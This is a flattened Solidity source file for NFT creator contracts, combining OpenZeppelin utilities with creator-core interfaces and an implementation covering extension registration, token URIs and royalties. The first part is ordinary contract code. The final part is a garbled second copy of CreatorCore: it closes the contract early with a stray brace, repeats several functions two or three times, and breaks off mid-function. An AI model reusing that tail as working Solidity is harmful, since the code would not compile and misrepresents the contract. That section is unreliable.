value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Interface for admin control */ interface IAdminControl is IERC165 { event AdminApproved(address indexed account, address indexed sender); event AdminRevoked(address indexed account, address indexed sender); /** * @dev gets address of all admins */ function getAdmins() external view returns (address[] memory); /** * @dev add an admin. Can only be called by contract owner. */ function approveAdmin(address admin) external; /** * @dev remove an admin. Can only be called by contract owner. */ function revokeAdmin(address admin) external; /** * @dev checks whether or not given address is an admin * Returns True if they are */ function isAdmin(address admin) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./ICreatorExtensionBase.sol"; /** * Implement this if you want your extension to approve a transfer */ interface IERC721CreatorExtensionApproveTransfer is ICreatorExtensionBase { /** * @dev Set whether or not the creator will check the extension for approval of token transfer */ function setApproveTransfer(address creator, bool enabled) external; /** * Approve a transfer */ function approveTransfer(address from, address to, uint256 tokenId) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./ICreatorExtensionBase.sol"; /** * @dev Your extension is required to implement this interface if it wishes * to receive the onBurn callback whenever a token the extension created is * burned */ interface IERC721CreatorExtensionBurnable is ICreatorExtensionBase { event CreatorAdded(address indexed creator, address indexed sender); /** * @dev mint a token */ function mint(address creator, address to) external returns (uint256); /** * @dev batch mint a token */ function mintBatch(address creator, address to, uint16 count) external returns (uint256[] memory); /** * @dev callback handler for burn events */ function onBurn(address owner, uint256 tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "../access/IAdminControl.sol"; /** * @dev Required interface of an ERC721Creator compliant extension contracts. */ interface IERC721CreatorMintPermissions is IERC165, IAdminControl { /** * @dev get approval to mint */ function approveMint(address extension, address to, uint256 tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "./CreatorCore.sol"; /** * @dev Core ERC721 creator interface */ interface IERC721CreatorCore is ICreatorCore { /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to) external returns (uint256); /** * @dev mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBase(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token with no extension. Can only be called by an admin. * Returns tokenId minted */ function mintBaseBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to) external returns (uint256); /** * @dev mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtension(address to, string calldata uri) external returns (uint256); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenIds minted */ function mintExtensionBatch(address to, uint16 count) external returns (uint256[] memory); /** * @dev batch mint a token. Can only be called by a registered extension. * Returns tokenId minted */ function mintExtensionBatch(address to, string[] calldata uris) external returns (uint256[] memory); /** * @dev burn a token. Can only be called by token owner or approved address. * On burn, calls back to the registered extension's onBurn method */ function burn(uint256 tokenId) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165.sol"; import "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import "@openzeppelin/contracts/utils/structs/EnumerableSet.sol"; import "../extensions/ICreatorExtensionBase.sol"; import "../extensions/ICreatorExtensionTokenURI.sol"; import "./ICreatorCore.sol"; /** * @dev Core creator implementation */ abstract contract CreatorCore is ReentrancyGuard, ICreatorCore, ERC165 { using Strings for uint256; using EnumerableSet for EnumerableSet.AddressSet; uint256 _tokenCount = 0; // Track registered extensions data EnumerableSet.AddressSet internal _extensions; EnumerableSet.AddressSet internal _blacklistedExtensions; mapping (address => address) internal _extensionPermissions; mapping (address => bool) internal _extensionApproveTransfers; // For tracking which extension a token was minted by mapping (uint256 => address) internal _tokensExtension; // The baseURI for a given extension mapping (address => string) private _extensionBaseURI; mapping (address => bool) private _extensionBaseURIIdentical; // The prefix for any tokens with a uri configured mapping (address => string) private _extensionURIPrefix; // Mapping for individual token URIs mapping (uint256 => string) internal _tokenURIs; // Royalty configurations mapping (address => address payable[]) internal _extensionRoyaltyReceivers; mapping (address => uint256[]) internal _extensionRoyaltyBPS; mapping (uint256 => address payable[]) internal _tokenRoyaltyReceivers; mapping (uint256 => uint256[]) internal _tokenRoyaltyBPS; /** * External interface identifiers for royalties */ /** * @dev CreatorCore * * bytes4(keccak256('getRoyalties(uint256)')) == 0xbb3bafd6 * * => 0xbb3bafd6 = 0xbb3bafd6 */ bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6; /** * @dev Rarible: RoyaltiesV1 * * bytes4(keccak256('getFeeRecipients(uint256)')) == 0xb9c4d9fb * bytes4(keccak256('getFeeBps(uint256)')) == 0x0ebd4c7f * * => 0xb9c4d9fb ^ 0x0ebd4c7f = 0xb7799584 */ bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584; /** * @dev Foundation * * bytes4(keccak256('getFees(uint256)')) == 0xd5a06d4c * * => 0xd5a06d4c = 0xd5a06d4c */ bytes4 private constant _INTERFACE_ID_ROYALTIES_FOUNDATION = 0xd5a06d4c; /** * @dev EIP-2981 * * bytes4(keccak256("royaltyInfo(uint256,uint256,bytes)")) == 0x6057361d * * => 0x6057361d = 0x6057361d */ bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x6057361d; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(ICreatorCore).interfaceId || super.supportsInterface(interfaceId) || interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981 || interfaceId == _INTERFACE_ID_ROYALTIES_FOUNDATION || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981; } /** * @dev Only allows registered extensions to call the specified function */ modifier extensionRequired() { require(_extensions.contains(msg.sender), "CreatorCore: Must be registered extension"); _; } /** * @dev Only allows non-blacklisted extensions */ modifier nonBlacklistRequired(address extension) { require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); _; } /** * @dev See {ICreatorCore-getExtensions}. */ function getExtensions() external view override returns (address[] memory extensions) { extensions = new address[](_extensions.length()); for (uint i = 0; i < _extensions.length(); i++) { extensions[i] = _extensions.at(i); } return extensions; } /** * @dev Register an extension */ function _registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) internal { require(ERC165Checker.supportsInterface(extension, type(ICreatorExtensionBase).interfaceId), "Creator: Extension must implement ICreatorExtensionBase"); if (!_extensions.contains(extension)) { _extensionBaseURI[extension] = baseURI; _extensionBaseURIIdentical[extension] = baseURIIdentical; emit ExtensionRegistered(extension, msg.sender); _extensions.add(extension); } } /** * @dev Unregister an extension */ function _unregisterExtension(address extension) internal { if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } } /** * @dev Blacklist an extension */ function _blacklistExtension(address extension) internal { require(extension != address(this), "CreatorCore: Cannot blacklist yourself"); if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } if (!_blacklistedExtensions.contains(extension)) { emit ExtensionBlacklisted(extension, msg.sender); _blacklistedExtensions.add(extension); } } /** * @dev Set base token uri for an extension */ function _setBaseTokenURIExtension(string calldata uri, bool identical) internal { _extensionBaseURI[msg.sender] = uri; _extensionBaseURIIdentical[msg.sender] = identical; } /** * @dev Set token uri prefix for an extension */ function _setTokenURIPrefixExtension(string calldata prefix) internal { _extensionURIPrefix[msg.sender] = prefix; } /** * @dev Set token uri for a token of an extension */ function _setTokenURIExtension(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == msg.sender, "CreatorCore: Invalid token"); _tokenURIs[tokenId] = uri; } /** * @dev Set base token uri for tokens with no extension */ function _setBaseTokenURI(string calldata uri) internal { _extensionBaseURI[address(this)] = uri; } /** * @dev Set token uri prefix for tokens with no extension */ function _setTokenURIPrefix(string calldata prefix) internal { _extensionURIPrefix[address(this)] = prefix; } /** * @dev Set token uri for a token with no extension */ function _setTokenURI(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == address(this), "CreatorCore: Invalid token"); _tokenURIs[tokenId] = uri; } /** * @dev Retrieve a token's URI */ function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); if (bytes(_tokenURIs[tokenId]).length != 0) { if (bytes(_extensionURIPrefix[extension]).length != 0) { return string(abi.encodePacked(_extensionURIPrefix[extension],_tokenURIs[tokenId])); } return _tokenURIs[tokenId]; } if (ERC165Checker.supportsInterface(extension, type(ICreatorExtensionTokenURI).interfaceId)) { return ICreatorExtensionTokenURI(extension).tokenURI(address(this), tokenId); } if (!_extensionBaseURIIdentical[extension]) { return string(abi.encodePacked(_extensionBaseURI[extension], tokenId.toString())); } else { return _extensionBaseURI[extension]; } } /** * Get token extension */ function _tokenExtension(uint256 tokenId) internal view returns (address extension) { extension = _tokensExtension[tokenId]; require(extension != address(this), "CreatorCore: No extension for token"); require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); return extension; } /** * Helper to get royalties for a token */ function _getRoyalties(uint256 tokenId) view internal returns (address payable[] storage, uint256[] storage) { return (_getRoyaltyReceivers(tokenId), _getRoyaltyBPS(tokenId)); } /** * Helper to get royalty receivers for a token */ function _getRoyaltyReceivers(uint256 tokenId) view internal returns (address payable[] storage) { if (_tokenRoyaltyReceivers[tokenId].length > 0) { return _tokenRoyaltyReceivers[tokenId]; } else if (_extensionRoyaltyReceivers[_tokensExtension[tokenId]].length > 0) { return _extensionRoyaltyReceivers[_tokensExtension[tokenId]]; } return _extensionRoyaltyReceivers[address(this)]; } /** * Helper to get royalty basis points for a token */ function _getRoyaltyBPS(uint256 tokenId) view internal returns (uint256[] storage) { if (_tokenRoyaltyBPS[tokenId].length > 0) { return _tokenRoyaltyBPS[tokenId]; } else if (_extensionRoyaltyBPS[_tokensExtension[tokenId]].length > 0) { return _extensionRoyaltyBPS[_tokensExtension[tokenId]]; } return _extensionRoyaltyBPS[address(this)]; } function _getRoyaltyInfo(uint256 tokenId, uint256 value) view internal returns (address receiver, uint256 amount, bytes memory data){ address payable[] storage receivers = _getRoyaltyReceivers(tokenId); require(receivers.length <= 1, "CreatorCore: Only works if there are at most 1 royalty receivers"); if (receivers.length == 0) { return (address(this), 0, data); } return (receivers[0], _getRoyaltyBPS(tokenId)[0]*value/10000, data); } /** * Helper to shorten royalties arrays if it is too long */ function _shortenRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, uint256 targetLength) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); if (targetLength < receivers.length) { for (uint i = receivers.length; i > targetLength; i--) { receivers.pop(); basisPoints.pop(); } } } /** * Helper to update royalites */ function _updateRoyalties(address payable[] storage receivers, uint256[] storage basisPoints, address payable[] calldata newReceivers, uint256[] calldata newBPS) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); require(newReceivers.length == newBPS.length, "CreatorCore: Invalid input"); uint256 totalRoyalties; for (uint i = 0; i < newReceivers.length; i++) { if (i < receivers.length) { receivers[i] = newReceivers[i]; basisPoints[i] = newBPS[i]; } else { receivers.push(newReceivers[i]); basisPoints.push(newBPS[i]); } totalRoyalties += newBPS[i]; } require(totalRoyalties < 10000, "CreatorCore: Invalid total royalties"); } /** * Set royalties for a token */ function _setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); _shortenRoyalties(_tokenRoyaltyReceivers[tokenId], _tokenRoyaltyBPS[tokenId], receivers.length); _updateRoyalties(_tokenRoyaltyReceivers[tokenId], _tokenRoyaltyBPS[tokenId], receivers, basisPoints); emit RoyaltiesUpdated(tokenId, receivers, basisPoints); } /** * Set royalties for all tokens of an extension */ function _setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) internal { require(receivers.length == basisPoints.length, "CreatorCore: Invalid input"); _shortenRoyalties(_extensionRoyaltyReceivers[extension], _extensionRoyaltyBPS[extension], receivers.length); _updateRoyalties(_extensionRoyaltyReceivers[extension], _extensionRoyaltyBPS[extension], receivers, basisPoints); if (extension == address(this)) { emit DefaultRoyaltiesUpdated(receivers, basisPoints); } else { emit ExtensionRoyaltiesUpdated(extension, receivers, basisPoints); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; import "../access/IAdminControl.sol"; /** * @dev Required interface of an CreatorCore compliant extension contracts. */ interface ICreatorExtensionBase is IERC165, IAdminControl { /** * @dev set the baseTokenURI of tokens generated by this extension. Can only be called by admins. */ function setBaseTokenURI(address creator, string calldata uri) external; /** * @dev set the baseTokenURI of tokens generated by this extension. Can only be called by admins. */ function setBaseTokenURI(address creator, string calldata uri, bool identical) external; /** * @dev set the tokenURI of a token generated by this extension. Can only be called by admins. */ function setTokenURI(address creator, uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of multiple tokens generated by this extension. Can only be called by admins. */ function setTokenURI(address creator, uint256[] calldata tokenId, string[] calldata uri) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ abstract contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Library used to query support of an interface declared via {IERC165}. * * Note that these functions return the actual result of the query: they do not * `revert` if an interface is not supported. It is up to the caller to decide * what to do in these cases. */ library ERC165Checker { // As per the EIP-165 spec, no interface should ever match 0xffffffff bytes4 private constant _INTERFACE_ID_INVALID = 0xffffffff; /** * @dev Returns true if `account` supports the {IERC165} interface, */ function supportsERC165(address account) internal view returns (bool) { // Any contract that implements ERC165 must explicitly indicate support of // InterfaceId_ERC165 and explicitly indicate non-support of InterfaceId_Invalid return _supportsERC165Interface(account, type(IERC165).interfaceId) && !_supportsERC165Interface(account, _INTERFACE_ID_INVALID); } /** * @dev Returns true if `account` supports the interface defined by * `interfaceId`. Support for {IERC165} itself is queried automatically. * * See {IERC165-supportsInterface}. */ function supportsInterface(address account, bytes4 interfaceId) internal view returns (bool) { // query support of both ERC165 as per the spec and support of _interfaceId return supportsERC165(account) && _supportsERC165Interface(account, interfaceId); } /** * @dev Returns a boolean array where each value corresponds to the * interfaces passed in and whether they're supported or not. This allows * you to batch check interfaces for a contract where your expectation * is that some interfaces may not be supported. * * See {IERC165-supportsInterface}. * * _Available since v3.4._ */ function getSupportedInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool[] memory) { // an array of booleans corresponding to interfaceIds and whether they're supported or not bool[] memory interfaceIdsSupported = new bool[](interfaceIds.length); // query support of ERC165 itself if (supportsERC165(account)) { // query support of each interface in interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { interfaceIdsSupported[i] = _supportsERC165Interface(account, interfaceIds[i]); } } return interfaceIdsSupported; } /** * @dev Returns true if `account` supports all the interfaces defined in * `interfaceIds`. Support for {IERC165} itself is queried automatically. * * Batch-querying can lead to gas savings by skipping repeated checks for * {IERC165} support. * * See {IERC165-supportsInterface}. */ function supportsAllInterfaces(address account, bytes4[] memory interfaceIds) internal view returns (bool) { // query support of ERC165 itself if (!supportsERC165(account)) { return false; } // query support of each interface in _interfaceIds for (uint256 i = 0; i < interfaceIds.length; i++) { if (!_supportsERC165Interface(account, interfaceIds[i])) { return false; } } // all interfaces supported return true; } /** * @notice Query if a contract implements an interface, does not check ERC165 support * @param account The address of the contract to query for support of an interface * @param interfaceId The interface identifier, as specified in ERC-165 * @return true if the contract at account indicates support of the interface with * identifier interfaceId, false otherwise * @dev Assumes that account contains a contract that supports ERC165, otherwise * the behavior of this method is undefined. This precondition can be checked * with {supportsERC165}. * Interface identification is specified in ERC-165. */ function _supportsERC165Interface(address account, bytes4 interfaceId) private view returns (bool) { bytes memory encodedParams = abi.encodeWithSelector(IERC165(account).supportsInterface.selector, interfaceId); (bool success, bytes memory result) = account.staticcall{ gas: 30000 }(encodedParams); if (result.length < 32) return false; return success && abi.decode(result, (bool)); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * Implement this if you want your extension to have overloadable URI's */ interface ICreatorExtensionTokenURI is IERC165 { /** * Get the uri for a given creator/tokenId */ function tokenURI(address creator, uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/utils/introspection/IERC165.sol"; /** * @dev Core creator interface */ interface ICreatorCore is IERC165 { event ExtensionRegistered(address indexed extension, address indexed sender); event ExtensionUnregistered(address indexed extension, address indexed sender); event ExtensionBlacklisted(address indexed extension, address indexed sender); event MintPermissionsUpdated(address indexed extension, address indexed permissions, address indexed sender); event RoyaltiesUpdated(uint256 indexed tokenId, address payable[] receivers, uint256[] basisPoints); event DefaultRoyaltiesUpdated(address payable[] receivers, uint256[] basisPoints); event ExtensionRoyaltiesUpdated(address indexed extension, address payable[] receivers, uint256[] basisPoints); event ExtensionApproveTransferUpdated(address indexed extension, bool enabled); /** * @dev gets address of all extensions */ function getExtensions() external view returns (address[] memory); /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI) external; /** * @dev add an extension. Can only be called by contract owner or admin. * extension address must point to a contract implementing ICreatorExtension. * Returns True if newly added, False if already added. */ function registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) external; /** * @dev add an extension. Can only be called by contract owner or admin. * Returns True if removed, False if already removed. */ function unregisterExtension(address extension) external; /** * @dev blacklist an extension. Can only be called by contract owner or admin. * This function will destroy all ability to reference the metadata of any tokens created * by the specified extension. It will also unregister the extension if needed. * Returns True if removed, False if already removed. */ function blacklistExtension(address extension) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. */ function setBaseTokenURIExtension(string calldata uri) external; /** * @dev set the baseTokenURI of an extension. Can only be called by extension. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURIExtension(string calldata uri, bool identical) external; /** * @dev set the common prefix of an extension. Can only be called by extension. * If configured, and a token has a uri set, tokenURI will return "commonURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefixExtension(string calldata prefix) external; /** * @dev set the tokenURI of a token extension. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of a token extension for multiple tokens. Can only be called by extension that minted token. */ function setTokenURIExtension(uint256[] memory tokenId, string[] calldata uri) external; /** * @dev set the baseTokenURI for tokens with no extension. Can only be called by owner/admin. * For tokens with no uri configured, tokenURI will return "uri+tokenId" */ function setBaseTokenURI(string calldata uri) external; /** * @dev set the common prefix for tokens with no extension. Can only be called by owner/admin. * If configured, and a token has a uri set, tokenURI will return "commonURI+tokenURI" * Useful if you want to use ipfs/arweave */ function setTokenURIPrefix(string calldata prefix) external; /** * @dev set the tokenURI of a token with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256 tokenId, string calldata uri) external; /** * @dev set the tokenURI of multiple tokens with no extension. Can only be called by owner/admin. */ function setTokenURI(uint256[] memory tokenIds, string[] calldata uris) external; /** * @dev set a permissions contract for an extension. Used to control minting. */ function setMintPermissions(address extension, address permissions) external; /** * @dev Configure so transfers of tokens created by the caller (must be extension) gets approval * from the extension before transferring */ function setApproveTransferExtension(bool enabled) external; /** * @dev get the extension of a given token */ function tokenExtension(uint256 tokenId) external view returns (address); /** * @dev Set default royalties */ function setRoyalties(address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of a token */ function setRoyalties(uint256 tokenId, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Set royalties of an extension */ function setRoyaltiesExtension(address extension, address payable[] calldata receivers, uint256[] calldata basisPoints) external; /** * @dev Get royalites of a token. Returns list of receivers and basisPoints */ function getRoyalties(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); // Royalty support for various other standards function getFeeRecipients(uint256 tokenId) external view returns (address payable[] memory); function getFeeBps(uint256 tokenId) external view returns (uint[] memory); function getFees(uint256 tokenId) external view returns (address payable[] memory, uint256[] memory); function royaltyInfo(uint256 tokenId, uint256 value, bytes calldata data) external view returns (address, uint256, bytes memory); }
* @dev Core creator implementation/ Track registered extensions data For tracking which extension a token was minted by The baseURI for a given extension The prefix for any tokens with a uri configured Mapping for individual token URIs Royalty configurations
abstract contract CreatorCore is ReentrancyGuard, ICreatorCore, ERC165 { using Strings for uint256; using EnumerableSet for EnumerableSet.AddressSet; uint256 _tokenCount = 0; EnumerableSet.AddressSet internal _extensions; EnumerableSet.AddressSet internal _blacklistedExtensions; mapping (address => address) internal _extensionPermissions; mapping (address => bool) internal _extensionApproveTransfers; mapping (uint256 => address) internal _tokensExtension; mapping (address => string) private _extensionBaseURI; mapping (address => bool) private _extensionBaseURIIdentical; mapping (address => string) private _extensionURIPrefix; mapping (uint256 => string) internal _tokenURIs; mapping (address => address payable[]) internal _extensionRoyaltyReceivers; mapping (address => uint256[]) internal _extensionRoyaltyBPS; mapping (uint256 => address payable[]) internal _tokenRoyaltyReceivers; mapping (uint256 => uint256[]) internal _tokenRoyaltyBPS; bytes4 private constant _INTERFACE_ID_ROYALTIES_CREATORCORE = 0xbb3bafd6; bytes4 private constant _INTERFACE_ID_ROYALTIES_RARIBLE = 0xb7799584; bytes4 private constant _INTERFACE_ID_ROYALTIES_FOUNDATION = 0xd5a06d4c; bytes4 private constant _INTERFACE_ID_ROYALTIES_EIP2981 = 0x6057361d; } function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(ICreatorCore).interfaceId || super.supportsInterface(interfaceId) || interfaceId == _INTERFACE_ID_ROYALTIES_CREATORCORE || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981 || interfaceId == _INTERFACE_ID_ROYALTIES_FOUNDATION || interfaceId == _INTERFACE_ID_ROYALTIES_EIP2981; } modifier extensionRequired() { require(_extensions.contains(msg.sender), "CreatorCore: Must be registered extension"); _; } modifier nonBlacklistRequired(address extension) { require(!_blacklistedExtensions.contains(extension), "CreatorCore: Extension blacklisted"); _; } function getExtensions() external view override returns (address[] memory extensions) { extensions = new address[](_extensions.length()); for (uint i = 0; i < _extensions.length(); i++) { extensions[i] = _extensions.at(i); } return extensions; } function getExtensions() external view override returns (address[] memory extensions) { extensions = new address[](_extensions.length()); for (uint i = 0; i < _extensions.length(); i++) { extensions[i] = _extensions.at(i); } return extensions; } function _registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) internal { require(ERC165Checker.supportsInterface(extension, type(ICreatorExtensionBase).interfaceId), "Creator: Extension must implement ICreatorExtensionBase"); if (!_extensions.contains(extension)) { _extensionBaseURI[extension] = baseURI; _extensionBaseURIIdentical[extension] = baseURIIdentical; emit ExtensionRegistered(extension, msg.sender); _extensions.add(extension); } } function _registerExtension(address extension, string calldata baseURI, bool baseURIIdentical) internal { require(ERC165Checker.supportsInterface(extension, type(ICreatorExtensionBase).interfaceId), "Creator: Extension must implement ICreatorExtensionBase"); if (!_extensions.contains(extension)) { _extensionBaseURI[extension] = baseURI; _extensionBaseURIIdentical[extension] = baseURIIdentical; emit ExtensionRegistered(extension, msg.sender); _extensions.add(extension); } } function _unregisterExtension(address extension) internal { if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } } function _unregisterExtension(address extension) internal { if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } } function _blacklistExtension(address extension) internal { require(extension != address(this), "CreatorCore: Cannot blacklist yourself"); if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } if (!_blacklistedExtensions.contains(extension)) { emit ExtensionBlacklisted(extension, msg.sender); _blacklistedExtensions.add(extension); } } function _blacklistExtension(address extension) internal { require(extension != address(this), "CreatorCore: Cannot blacklist yourself"); if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } if (!_blacklistedExtensions.contains(extension)) { emit ExtensionBlacklisted(extension, msg.sender); _blacklistedExtensions.add(extension); } } function _blacklistExtension(address extension) internal { require(extension != address(this), "CreatorCore: Cannot blacklist yourself"); if (_extensions.contains(extension)) { emit ExtensionUnregistered(extension, msg.sender); _extensions.remove(extension); } if (!_blacklistedExtensions.contains(extension)) { emit ExtensionBlacklisted(extension, msg.sender); _blacklistedExtensions.add(extension); } } function _setBaseTokenURIExtension(string calldata uri, bool identical) internal { _extensionBaseURI[msg.sender] = uri; _extensionBaseURIIdentical[msg.sender] = identical; } function _setTokenURIPrefixExtension(string calldata prefix) internal { _extensionURIPrefix[msg.sender] = prefix; } function _setTokenURIExtension(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == msg.sender, "CreatorCore: Invalid token"); _tokenURIs[tokenId] = uri; } function _setBaseTokenURI(string calldata uri) internal { _extensionBaseURI[address(this)] = uri; } function _setTokenURIPrefix(string calldata prefix) internal { _extensionURIPrefix[address(this)] = prefix; } function _setTokenURI(uint256 tokenId, string calldata uri) internal { require(_tokensExtension[tokenId] == address(this), "CreatorCore: Invalid token"); _tokenURIs[tokenId] = uri; } function _tokenURI(uint256 tokenId) internal view returns (string memory) { address extension = _tokensExtension[tokenId]; require(!_blacklistedExtensions.contains(extension), 